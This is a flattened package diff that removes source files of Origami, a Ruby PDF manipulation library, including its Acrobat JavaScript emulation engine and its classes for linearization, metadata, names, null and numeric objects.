self.check_method_args(args, def_args) - if args.first.is_a?(V8::Object) - args = args.first - members = args.entries.map{|k,v| k} - argv = [] - def_args.each do |def_arg| - raise MissingArgError if def_arg.required and not members.include?(def_arg.name) - - if members.include?(def_arg.name) - arg = args[def_arg.name] - raise TypeError if def_arg.type and not arg.is_a?(def_arg.type) - else - arg = def_arg.default - end - - argv.push(arg) - end - - args = argv - else - i = 0 - def_args.each do |def_arg| - raise MissingArgError if def_arg.required and i >= args.length - raise TypeError if def_arg.type and not args[i].is_a?(def_arg.type) - - args.push(def_arg.default) if i >= args.length - - i = i + 1 - end - end - - args - end - - def self.acro_method(name, *def_args, &b) - define_method(name) do |*args| - if @engine.options[:log_method_calls] - @engine.options[:console].puts( - "LOG: #{self.class}.#{name}(#{args.map{|arg| Arg.inspect(arg)}.join(',')})" - ) - end - - args = AcrobatObject.check_method_args(args, def_args) - self.instance_exec(*args, &b) if b - end - end - - def self.acro_method_protected(name, *def_args, &b) - define_method(name) do |*args| - if @engine.options[:log_method_calls] - @engine.options[:console].puts( - "LOG: #{self.class}.#{name}(#{args.map{|arg| arg.inspect}.join(',')})" - ) - end - - raise NotAllowedError - - args = AcrobatObject.check_method_args(args, def_args) - self.instance_exec(*args, &b) if b - end - end - - def to_s - "[object #{self.class.to_s.split('::').last}]" - end - alias inspect to_s - - end - - class AcroTimer < AcrobatObject - def initialize(engine, timeout, code, repeat) - - @thr = Thread.start(engine, timeout, code, repeat) do - loop do - sleep(timeout / 1000.0) - engine.exec(code) - break if not repeat - end - end - end - end - - class TimeOut < AcroTimer - def initialize(engine, timeout, code) - super(engine, timeout, code, false) - end - end - - class Interval < AcroTimer - def initialize(engine, timeout, code) - super(engine, timeout, code, true) - end - end - - class ReadStream < AcrobatObject - def initialize(engine, data) - super(engine) - - @data = data - end - - acro_method 'read', - Arg[:name => 'nBytes', :type => Numeric, :required => true] do |nBytes| - @data.slice!(0, nBytes).unpack("H*")[0] - end - end - - class Acrohelp < AcrobatObject; end - - class Global < AcrobatObject - def initialize(engine) - super(engine) - - @vars = {} - end - - def []=(name, value) - @vars[name] ||= {:callbacks => []} - @vars[name][:value] = value - @vars[name][:callbacks].each do |callback| - callback.call(value) - end - end - - def [](name) - @vars[name][:value] if @vars.include?(name) - end - - acro_method 'setPersistent', - Arg[:name => 'cVariable', :required => true], - Arg[:name => 'bPersist', :required => true] do |cVariable, bPersist| - raise GeneralError unless @vars.include?(cVariable) - end - - acro_method 'subscribe', - Arg[:name => 'cVariable', :required => true], - Arg[:name => 'fCallback', :type => V8::Function, :required => true] do |cVariable, fCallback| - if @vars.include?(cVariable) - @vars[cVariable][:callbacks].push(fCallback) - fCallback.call(@vars[cVariable][:value]) - end - end - end - - class Doc < AcrobatObject - attr_reader :info - attr_accessor :disclosed - attr_reader :hidden - - class Info < AcrobatObject - def initialize(engine, doc) - super(engine) - - @doc = doc - end - - def title; @doc.title.to_s end - def author; @doc.author.to_s end - def subject; @doc.subject.to_s end - def keywords; @doc.keywords.to_s end - def creator; @doc.creator.to_s end - def creationDate; @doc.creation_date.to_s end - def modDate; @doc.mod_date.to_s end - end - - def initialize(*args) - engine, pdf = args # XXX: Bypass therubyracer bug #238. Temporary. - super(engine) - - @pdf = pdf - @disclosed = false - @hidden = false - @info = Info.new(@engine, pdf) - end - - ### PROPERTIES ### - - def numFields - fields = @pdf.fields - if fields.nil? - 0 - else - fields.size - end - end - - def numPages; @pdf.pages.size end - - def title; @info.title end - def author; @info.author end - def subject; @info.subject end - def keywords; @info.keywords end - def creator; @info.creator end - def creationDate; @info.creationDate end - def modDate; @info.modDate end - - def metadata - meta = @pdf.Catalog.Metadata - - (meta.data if meta.is_a?(Stream)).to_s - end - - def filesize; @pdf.original_filesize end - def path; @pdf.original_filename.to_s end - def documentFileName; File.basename(self.path) end - def URL; "file://#{self.path}" end - def baseURL; '' end - - def dataObjects - data_objs = [] - @pdf.ls_names(Names::Root::EMBEDDEDFILES).each do |name, file_desc| - if file_desc and file_desc.EF and (f = file_desc.EF.F) - data_objs.push Data.new(@engine, name, f.data.size) if f.is_a?(Stream) - end - - end - - data_objs - end - - ### METHODS ### - - acro_method 'closeDoc' - - acro_method 'getDataObject', - Arg[:name => 'cName', :type => ::String, :required => true] do |cName| - file_desc = @pdf.resolve_name(Names::Root::EMBEDDEDFILES, cName) - - if file_desc and file_desc.EF and (f = file_desc.EF.F) - Data.new(@engine, cName, f.data.size) if f.is_a?(Stream) - else raise TypeError - end - end - - acro_method 'getDataObjectContents', - Arg[:name => 'cName', :type => ::String, :required => true], - Arg[:name => 'bAllowAuth', :default => false] do |cName, bAllowAuth| - file_desc = @pdf.resolve_name(Names::Root::EMBEDDEDFILES, cName) - - if file_desc and file_desc.EF and (f = file_desc.EF.F) - ReadStream.new(@engine, f.data) if f.is_a?(Stream) - else raise TypeError - end - end - - acro_method 'exportDataObject', - Arg[:name => 'cName', :type => ::String, :required => true], - Arg[:name => 'cDIPath' ], - Arg[:name => 'bAllowAuth'], - Arg[:name => 'nLaunch'] do |cName, cDIPath, bAllowAuth, nLaunch| - file_desc = @pdf.resolve_name(Names::Root::EMBEDDEDFILES, cName) - - if file_desc and file_desc.EF and (f = file_desc.EF.F) - else raise TypeError - end - - raise TypeError if f.nil? - end - - acro_method 'getField', - Arg[:name => 'cName', :type => ::Object, :required => true] do |cName| - field = @pdf.get_field(cName) - - Field.new(@engine, field) if field - end - - acro_method 'getNthFieldName', - Arg[:name => 'nIndex', :type => ::Object, :required => true] do |nIndex| - nIndex = - case nIndex - when false then 0 - when true then 1 - else - @engine.parseInt.call(nIndex) - end - - raise TypeError if (nIndex.is_a?(Float) and nIndex.nan?) or nIndex < 0 - fields = @pdf.fields - - (Field.new(@engine, fields[nIndex]).name if fields and fields[nIndex]).to_s - end - end - - class App < AcrobatObject - attr_reader :platform, :viewerVariation, :viewerVersion - - def platform; @engine.options[:platform] end - def viewerType; @engine.options[:viewerType] end - def viewerVariation; @engine.options[:viewerVariation] end - def viewerVersion; @engine.options[:viewerVersion] end - - def activeDocs; [] end - - ### METHODS ### - - acro_method 'setInterval', - Arg[:name => 'cExpr', :required => true], - Arg[:name => 'nMilliseconds', :type => Numeric, :required => true] do |cExpr, nMilliseconds| - cExpr = cExpr.is_a?(::String) ? cExpr : '' - Interval.new(@engine, nMilliseconds, cExpr) - end - - acro_method 'setTimeOut', - Arg[:name => 'cExpr', :required => true], - Arg[:name => 'nMilliseconds', :type => Numeric, :required => true] do |cExpr, nMilliseconds| - cExpr = cExpr.is_a?(::String) ? cExpr : '' - TimeOut.new(@engine, nMilliseconds, cExpr) - end - - acro_method 'clearInterval', - Arg[:name => 'oInterval', :type => Interval, :required => true] do |oInterval| - oInterval.instance_variable_get(:@thr).terminate - nil - end - - acro_method 'clearTimeOut', - Arg[:name => 'oInterval', :type => TimeOut, :required => true] do |oInterval| - oInterval.instance_variable_get(:@thr).terminate - nil - end - - acro_method_protected 'addMenuItem' - acro_method_protected 'addSubMenu' - acro_method 'addToolButton' - acro_method_protected 'beginPriv' - acro_method 'beep' - acro_method_protected 'browseForDoc' - acro_method_protected 'endPriv' - end - - class Console < AcrobatObject - def println(*args) - raise MissingArgError unless args.length > 0 - - @engine.options[:console].puts(args.first.to_s) - end - - acro_method 'show' - acro_method 'clear' - acro_method 'hide' - end - - class Util < AcrobatObject - acro_method 'streamFromString', - Arg[:name => 'cString', :type => ::Object, :required => true], - Arg[:name => 'cCharset', :type => ::Object, :default => 'utf-8'] do |cString, cCharset| - - ReadStream.new(@engine, cString.to_s) - end - - acro_method 'stringFromStream', - Arg[:name => 'oStream', :type => ReadStream, :required => true], - Arg[:name => 'cCharset', :type => ::Object, :default => 'utf-8'] do |oStream, cCharset| - - oStream.instance_variable_get(:@data).dup - end - end - - class Field < AcrobatObject - def initialize(engine, field) - super(engine) - - @field = field - end - - def doc; Doc.new(@field.pdf) end - def name - (@field.T.value if @field.has_key?(:T)).to_s - end - - def value - @field.V.value if @field.has_key?(:V) - end - - def valueAsString - self.value.to_s - end - - def type - (if @field.has_key?(:FT) - case @field.FT.value - when PDF::Field::Type::BUTTON - if @fields.has_key?(:Ff) - flags = @field.Ff.value - - if (flags & Origami::Annotation::Widget::Button::Flags::PUSHBUTTON) != 0 - 'button' - elsif (flags & Origami::Annotation::Widget::Button::Flags::RADIO) != 0 - 'radiobox' - else - 'checkbox' - end - end - when PDF::Field::Type::TEXT then 'text' - when PDF::Field::Type::SIGNATURE then 'signature' - when PDF::Field::Type::CHOICE - if @field.has_key?(:Ff) - if (@field.Ff.value & Origami::Annotation::Widget::Choice::Flags::COMBO).zero? - 'listbox' - else - 'combobox' - end - end - end - end).to_s - end - - end - - class Data < AcrobatObject - attr_reader :name, :path, :size - attr_reader :creationDate, :modDate - attr_reader :description, :MIMEType - - def initialize(engine, name, size, path = nil, creationDate = nil, modDate = nil, description = nil, mimeType = nil) - - super(engine) - - @name, @path, @size = name, path, size - @creationDate, @modDate = creationDate, modDate - @description, @MIMEType = description, mimeType - end - end - - end - - class JavaScript::EngineError < Exception; end - - class JavaScript::Engine - - attr_reader :global - attr_reader :context - attr_reader :options - attr_reader :parseInt - - def initialize(pdf) - @options = - { - :viewerVersion => JavaScript::Platforms::WINDOWS, - :viewerType => JavaScript::Viewers::ADOBE_READER, - :viewerVariation => JavaScript::Viewers::ADOBE_READER, - :platform => 9, - :console => STDOUT, - :log_method_calls => false - } - - @global = JavaScript::Doc.new(self, pdf) - app = JavaScript::App.new(self) - acrohelp = JavaScript::Acrohelp.new(self) - global = JavaScript::Global.new(self) - console = JavaScript::Console.new(self) - util = JavaScript::Util.new(self) - - @context = V8::Context.new(:with => @global) - @context['app'] = app - @context['acrohelp'] = acrohelp - @context['console'] = console - @context['global'] = global - @context['util'] = util - - @parseInt = @context['parseInt'] - @hooks = {} - end - - # - # Evaluates a JavaScript code in the current context. - # - def exec(script) - @context.eval(script) - end - - # - # Set a hook on a JavaScript method. - # - def hook(name, &callback) - ns = name.split('.') - previous = @context - - ns.each do |n| - raise JavaScript::EngineError, "#{name} does not exist" if previous.nil? - previous = previous[n] - end - - case previous - when V8::Function, UnboundMethod, nil then - @context[name] = lambda do |*args| - callback[previous, *args] - end - - @hooks[name] = [previous, callback] - else - raise JavaScript::EngineError, "#{name} is not a function" - end - end - - # - # Removes an existing hook on a JavaScript method. - # - def unhook(name) - if @hooks.has_key?(name) - @context[name] = @hooks[name][0] - end - end - - # - # Returns an Hash of all defined members in specified object name. - # - def members(obj) - members = {} - list = @context.eval <<-JS - (function(base){ - var members = []; - for (var i in base) members.push([i, base[i]]); - return members; - })(#{obj}) - JS - - list.each do |var| - members[var[0]] = var[1] - end - - members - end - - # - # Returns all members in the global scope. - # - def scope - members('this') - end - - # - # Binds the V8 remote debugging agent on the specified TCP _port_. - # - def enable_debugger(port = 5858) - V8::C::Debug.EnableAgent("Origami", port) - end - - def debugger_break - exec 'debugger' - end - end - - end - - module String - # - # Evaluates the current String as JavaScript. - # - def eval_js - self.pdf.eval_js(self.value) - end - end - - class Stream - # - # Evaluates the current Stream as JavaScript. - # - def eval_js - self.pdf.eval_js(self.data) - end - end - - class PDF - - # - # Executes a JavaScript script in the current document context. - # - def eval_js(code) - js_engine.exec(code) - end - - # - # Returns the JavaScript engine (if JavaScript support is present). - # - def js_engine - @js_engine ||= PDF::JavaScript::Engine.new(self) - end - end - - rescue LoadError - end -end - diff -Nru origami-1.2.7/lib/origami/linearization.rb origami-1.2.7+really0.7.4/lib/origami/linearization.rb --- origami-1.2.7/lib/origami/linearization.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/linearization.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,333 +0,0 @@ -=begin - -= File - linearization.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - class LinearizationError < Exception #:nodoc: - end - - # - # Returns whether the current document is linearized. - # - def is_linearized? - begin - obj = @revisions.first.objects.sort_by{|obj| obj.file_offset}.first - rescue - return false - end - - obj.is_a?(Dictionary) and obj.has_key? :Linearized - end - - # - # Tries to delinearize the document if it has been linearized. - # This operation is xrefs destructive, should be fixed in the future to merge tables. - # - def delinearize! - raise LinearizationError, 'Not a linearized document' unless is_linearized? - - # - # Saves the first trailer. - # - prev_trailer = @revisions.first.trailer - - lin_dict = @revisions.first.objects.first - hints = lin_dict[:H] - - # - # Removes hint streams used by linearization. - # - if hints.is_a?(::Array) - if hints.length > 0 and hints[0].is_a?(Integer) - hint_stream = get_object_by_offset(hints[0]) - delete_object(hint_stream.reference) if hint_stream.is_a?(Stream) - end - - if hints.length > 2 and hints[2].is_a?(Integer) - overflow_stream = get_object_by_offset(hints[2]) - delete_object(overflow_stream.reference) if overflow_stream.is_a?(Stream) - end - end - - # - # Update the trailer. - # - last_trailer = (@revisions.last.trailer ||= Trailer.new) - - last_trailer.dictionary ||= Dictionary.new - - if prev_trailer.has_dictionary? - last_trailer.dictionary = - last_trailer.dictionary.merge(prev_trailer.dictionary) - else - xrefstm = get_object_by_offset(last_trailer.startxref) - raise LinearizationError, - 'Cannot find trailer info while delinearizing document' unless xrefstm.is_a?(XRefStream) - - last_trailer.dictionary[:Root] = xrefstm[:Root] - last_trailer.dictionary[:Encrypt] = xrefstm[:Encrypt] - last_trailer.dictionary[:Info] = xrefstm[:Info] - last_trailer.dictionary[:ID] = xrefstm[:ID] - end - - # - # Remove all xrefs. - # Fix: Should be merged instead. - # - remove_xrefs - - # - # Remove the linearization revision. - # - remove_revision(0) - - self - end - - end - - # - # Class representing a linearization dictionary. - # - class Linearization < Dictionary - include StandardObject - - field :Linearized, :Type => Real, :Default => 1.0, :Required => true - field :L, :Type => Integer, :Required => true - field :H, :Type => Array, :Required => true - field :O, :Type => Integer, :Required => true - field :E, :Type => Integer, :Required => true - field :N, :Type => Integer, :Required => true - field :T, :Type => Integer, :Required => true - field :P, :Type => Integer, :Default => 0 - - def initialize(hash = {}) - super(hash, true) - end - - end - - class InvalidHintTableError < Exception #:nodoc: - end - - module HintTable - module ClassMethods - def header_item_size(number, size) - @header_items_size[number] = size - end - - def get_header_item_size(number) - @header_items_size[number] - end - - def entry_item_size(number, size) - @entry_items_size[number] = size - end - - def get_entry_item_size(number) - @entry_items_size[number] - end - - def nb_header_items - @header_items_size.size - end - - def nb_entry_items - @entry_items_size.size - end - end - - def self.included(receiver) - receiver.instance_variable_set(:@header_items_size, {}) - receiver.instance_variable_set(:@entry_items_size, {}) - receiver.extend(ClassMethods) - end - - attr_accessor :header_items - attr_accessor :entries - - def initialize - @header_items = {} - @entries = [] - end - - def to_s - data = "" - - nitems = self.class.nb_header_items - for no in (1..nitems) - unless @header_items.include?(no) - raise InvalidHintTableError, "Missing item #{no} in header section of #{self.class}" - end - - value = @header_items[no] - item_size = self.class.get_header_item_size(no) - - item_size = ((item_size + 7) >> 3) << 3 - item_data = value.to_s(2) - item_data = "0" * (item_size - item_data.size) + item_data - - data << [ item_data ].pack("B*") - end - - i = 0 - nitems = self.class.nb_entry_items - @entries.each do |entry| - for no in (1..items) - unless entry.include?(no) - raise InvalidHintTableError, "Missing item #{no} in entry #{i} of #{self.class}" - end - - value = entry[no] - item_size = self.class.get_entry_item_size(no) - - item_size = ((item_size + 7) >> 3) << 3 - item_data = value.to_s(2) - item_data = "0" * (item_size - item_data.size) + item_data - - data << [ item_data ].pack("B*") - end - - i = i + 1 - end - - data - end - - class PageOffsetTable - include HintTable - - header_item_size 1, 32 - header_item_size 2, 32 - header_item_size 3, 16 - header_item_size 4, 32 - header_item_size 5, 16 - header_item_size 6, 32 - header_item_size 7, 16 - header_item_size 8, 32 - header_item_size 9, 16 - header_item_size 10, 16 - header_item_size 11, 16 - header_item_size 12, 16 - header_item_size 13, 16 - - entry_item_size 1, 16 - entry_item_size 2, 16 - entry_item_size 3, 16 - entry_item_size 4, 16 - entry_item_size 5, 16 - entry_item_size 6, 16 - entry_item_size 7, 16 - end - - class SharedObjectTable - include HintTable - - header_item_size 1, 32 - header_item_size 2, 32 - header_item_size 3, 32 - header_item_size 4, 32 - header_item_size 5, 16 - header_item_size 6, 32 - header_item_size 7, 16 - - entry_item_size 1, 16 - entry_item_size 2, 1 - entry_item_size 3, 128 - entry_item_size 4, 16 - end - - end - - class InvalidHintStreamObjectError < InvalidStreamObjectError #:nodoc: - end - - class HintStream < Stream - - attr_accessor :page_offset_table - attr_accessor :shared_objects_table - attr_accessor :thumbnails_table - attr_accessor :outlines_table - attr_accessor :threads_table - attr_accessor :named_destinations_table - attr_accessor :interactive_forms_table - attr_accessor :information_dictionary_table - attr_accessor :logical_structure_table - attr_accessor :page_labels_table - attr_accessor :renditions_table - attr_accessor :embedded_files_table - - field :S, :Type => Integer, :Required => true # SHared objects - field :T, :Type => Integer # Thumbnails - field :O, :Type => Integer # Outlines - field :A, :Type => Integer # Threads - field :E, :Type => Integer # Named destinations - field :V, :Type => Integer # Interactive forms - field :I, :Type => Integer # Information dictionary - field :C, :Type => Integer # Logical structure - field :L, :Type => Integer # Page labels - field :R, :Type => Integer # Renditions - field :B, :Type => Integer # Embedded files - - def pre_build - if @page_offset_table.nil? - raise InvalidHintStreamObjectError, "No page offset hint table" - end - - if @shared_objects_table.nil? - raise InvalidHintStreamObjectError, "No shared objects hint table" - end - - @data = "" - save_table(@page_offset_table) - save_table(@shared_objects_table, :S) - save_table(@thumbnails_table, :T) - save_table(@outlines_table, :O) - save_table(@threads_table, :A) - save_table(@named_destinations_table, :E) - save_table(@interactive_forms_table, :V) - save_table(@information_dictionary_table, :I) - save_table(@logical_structure_table, :C) - save_table(@page_labels_table, :L) - save_table(@renditions_table, :R) - save_table(@embedded_files_table, :B) - - super - end - - private - - def save_table(table, name = nil) - unless table.nil? - self[name] = @data.size if name - @data << table.to_s - end - end - - end - -end diff -Nru origami-1.2.7/lib/origami/metadata.rb origami-1.2.7+really0.7.4/lib/origami/metadata.rb --- origami-1.2.7/lib/origami/metadata.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/metadata.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,181 +0,0 @@ -=begin - -= File - metadata.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'rexml/document' - -module Origami - - class PDF - - # - # Returns true if the document has a document information dictionary. - # - def has_document_info? - has_attr? :Info - end - - # - # Returns true if the document has a catalog metadata stream. - # - def has_metadata? - self.Catalog.Metadata.is_a?(Stream) - end - - # - # Returns the document information dictionary if present. - # - def get_document_info - get_doc_attr :Info - end - - def title; get_document_info_field(:Title) end - def author; get_document_info_field(:Author) end - def subject; get_document_info_field(:Subject) end - def keywords; get_document_info_field(:Keywords) end - def creator; get_document_info_field(:Creator) end - def producer; get_document_info_field(:Producer) end - def creation_date; get_document_info_field(:CreationDate) end - def mod_date; get_document_info_field(:ModDate) end - - # - # Returns a Hash of the information found in the metadata stream - # - def get_metadata - metadata_stm = self.Catalog.Metadata - - if metadata_stm.is_a?(Stream) - doc = REXML::Document.new(metadata_stm.data) - - info = {} - - doc.elements.each('*/*/rdf:Description') do |description| - - description.attributes.each_attribute do |attr| - case attr.prefix - when 'pdf','xap' - info[attr.name] = attr.value - end - end - - description.elements.each('*') do |element| - value = (element.elements['.//rdf:li'] || element).text - info[element.name] = value.to_s - end - - end - - info - end - end - - # - # Modifies or creates a metadata stream. - # - def create_metadata(info = {}) - skeleton = <<-XMP - - - - - - - - - XMP - - xml = - if self.Catalog.Metadata.is_a?(Stream) - self.Catalog.Metadata.data - else - skeleton - end - - doc = REXML::Document.new(xml) - desc = doc.elements['*/*/rdf:Description'] - - info.each do |name, value| - elt = REXML::Element.new "pdf:#{name}" - elt.text = value - - desc.elements << elt - end - - xml = ""; doc.write(xml, 3) - - if self.Catalog.Metadata.is_a?(Stream) - self.Catalog.Metadata.data = xml - else - self.Catalog.Metadata = Stream.new(xml) - end - - self.Catalog.Metadata - end - - private - - def get_document_info_field(field) #:nodoc: - if has_document_info? - doc_info = get_document_info - - if doc_info.has_key?(field) - case obj = get_document_info[field].solve - when String then obj.value - when Stream then obj.data - end - end - end - end - - end - - # - # Class representing an information Dictionary, containing title, author, date of creation and the like. - # - class Metadata < Dictionary - include StandardObject - - field :Title, :Type => String, :Version => "1.1" - field :Author, :Type => String - field :Subject, :Type => String, :Version => "1.1" - field :Keywords, :Type => String, :Version => "1.1" - field :Creator, :Type => String - field :Producer, :Type => String - field :CreationDate, :Type => ByteString - field :ModDate, :Type => ByteString, :Version => "1.1" - field :Trapped, :Type => Name, :Default => :Unknown, :Version => "1.3" - end - - # - # Class representing a metadata Stream. - # This stream can contain the same information as the Metadata dictionary, but is storing in XML data. - # - class MetadataStream < Stream - include StandardObject - - field :Type, :Type => Name, :Default => :Metadata, :Required => true - field :Subtype, :Type => Name, :Default =>:XML, :Required => true - end - -end diff -Nru origami-1.2.7/lib/origami/name.rb origami-1.2.7+really0.7.4/lib/origami/name.rb --- origami-1.2.7/lib/origami/name.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/name.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,170 +0,0 @@ -=begin - -= File - name.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -if RUBY_VERSION < '1.9' - class EmptySymbol - def ==(sym) - sym.is_a?(EmptySymbol) - end - - def id2name - "" - end - alias to_s id2name - - def to_sym - self - end - - def to_o - Name.new("") - end - - def inspect - ":" - end - end -end - -module Origami - - REGULARCHARS = "([^ \\t\\r\\n\\0\\[\\]<>()%\\/]|#[a-fA-F0-9][a-fA-F0-9])*" #:nodoc: - - class InvalidNameObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing a Name Object. - # Name objects are strings which identify some PDF file inner structures. - # - class Name #< DelegateClass(Symbol) - - include Origami::Object - - TOKENS = %w{ / } #:nodoc: - - @@regexp = Regexp.new(WHITESPACES + TOKENS.first + "(" + REGULARCHARS + ")" + WHITESPACES) #:nodoc - - # - # Creates a new Name. - # _name_:: A symbol representing the new Name value. - # - def initialize(name = "") - unless name.is_a?(Symbol) or name.is_a?(::String) - raise TypeError, "Expected type Symbol or String, received #{name.class}." - end - - @value = name.to_s - - super() - end - - if RUBY_VERSION < '1.9' - def value - ( @value.empty? ) ? EmptySymbol.new : @value.to_sym - end - else - def value - @value.to_sym - end - end - - def ==(object) #:nodoc: - self.eql?(object) or @value.to_sym == object - end - - def eql?(object) #:nodoc: - object.is_a?(Name) and self.to_s == object.to_s - end - - def hash #:nodoc: - @value.hash - end - - def to_s #:nodoc: - super(TOKENS.first + Name.expand(@value)) - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - name = - if stream.scan(@@regexp).nil? - raise InvalidNameObjectError, "Bad name format" - else - value = stream[2] - - Name.new(value.include?('#') ? contract(value) : value) - end - - name.file_offset = offset - - name - end - - def self.contract(name) #:nodoc: - - i = 0 - name = name.dup - - while i < name.length - - if name[i,1] == "#" - digits = name[i+1, 2] - - unless /^[A-Za-z0-9]{2}$/ === digits - raise InvalidNameObjectError, "Irregular use of # token" - end - - char = digits.hex.chr - - if char == "\0" - raise InvalidNameObjectError, "Null byte forbidden inside name definition" - end - - name[i, 3] = char - end - - i = i + 1 - end - - name - end - - def self.expand(name) #:nodoc: - - forbiddenchars = /[ #\t\r\n\0\[\]<>()%\/]/ - - name.gsub(forbiddenchars) do |c| - "#" + c[0].ord.to_s(16).rjust(2,"0") - end - end - - def self.native_type ; Name end - - end - -end diff -Nru origami-1.2.7/lib/origami/null.rb origami-1.2.7+really0.7.4/lib/origami/null.rb --- origami-1.2.7/lib/origami/null.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/null.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,75 +0,0 @@ -=begin - -= File - null.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class InvalidNullObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing Null Object. - # - class Null - - include Origami::Object - - TOKENS = %w{ null } #:nodoc: - - @@regexp = Regexp.new(WHITESPACES + TOKENS.first) - - def initialize - super - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - if stream.skip(@@regexp).nil? - raise InvalidNullObjectError - end - - null = Null.new - null.file_offset = offset - - null - end - - # - # Returns *nil*. - # - def value - nil - end - - def to_s #:nodoc: - super(TOKENS.first) - end - - def self.native_type ; Null end - - end - -end diff -Nru origami-1.2.7/lib/origami/numeric.rb origami-1.2.7+really0.7.4/lib/origami/numeric.rb --- origami-1.2.7/lib/origami/numeric.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/numeric.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,202 +0,0 @@ -=begin - -= File - numeric.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'delegate' - -module Origami - - class InvalidIntegerObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing a PDF number (Integer, or Real). - # - module Number - include Origami::Object - - def ~ - self.class.new(~self.to_i) - end - - def |(val) - self.class.new(self.to_i | val) - end - - def &(val) - self.class.new(self.to_i & val) - end - - def ^(val) - self.class.new(self.to_i ^ val) - end - - def <<(val) - self.class.new(self.to_i << val) - end - - def >>(val) - self.class.new(self.to_i >> val) - end - - def +(val) - self.class.new(self.to_i + val) - end - - def -(val) - self.class.new(self.to_i - val) - end - - def -@ - self.class.new(-self.to_i) - end - - def *(val) - self.class.new(self.to_i * val) - end - - def /(val) - self.class.new(self.to_i / val) - end - - def abs - self.class.new(self.to_i.abs) - end - - def **(val) - self.class.new(self.to_i ** val) - end - - def to_s - super(value.to_s) - end - - module ClassMethods #:nodoc:all - def native_type; Number end - end - - def self.included(receiver) #:nodoc: - receiver.extend(ClassMethods) - end - - def self.native_type; Number end #:nodoc: - end - - # - # Class representing an Integer Object. - # - class Integer < DelegateClass(Bignum) - - include Number - - TOKENS = [ "(\\+|-)?[\\d]+[^.]?" ] #:nodoc: - - REGEXP_TOKEN = Regexp.new(TOKENS.first) - - @@regexp = Regexp.new(WHITESPACES + "((\\+|-)?[\\d]+)") - - # - # Creates a new Integer from a Ruby Fixnum / Bignum. - # _i_:: The Integer value. - # - def initialize(i = 0) - - unless i.is_a?(::Integer) - raise TypeError, "Expected type Fixnum or Bignum, received #{i.class}." - end - - super(i) - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - if not stream.scan(@@regexp) - raise InvalidIntegerObjectError, "Invalid integer format" - end - - value = stream[2].to_i - int = Integer.new(value) - int.file_offset = offset - - int - end - - alias value to_i - end - - class InvalidRealObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing a Real number Object. - # PDF real numbers are arbitrary precision numbers, depending on architectures. - # - class Real < DelegateClass(Float) - - include Number - - TOKENS = [ "(\\+|-)?([\\d]*\\.[\\d]+|[\\d]+\\.[\\d]*)([eE](\\+|-)?[\\d]+)?" ] #:nodoc: - - REGEXP_TOKEN = Regexp.new(TOKENS.first) - - @@regexp = Regexp.new(WHITESPACES + "(" + TOKENS.first + ")") - - # - # Creates a new Real from a Ruby Float. - # _f_:: The new Real value. - # - def initialize(f = 0) - - unless f.is_a?(Float) - raise 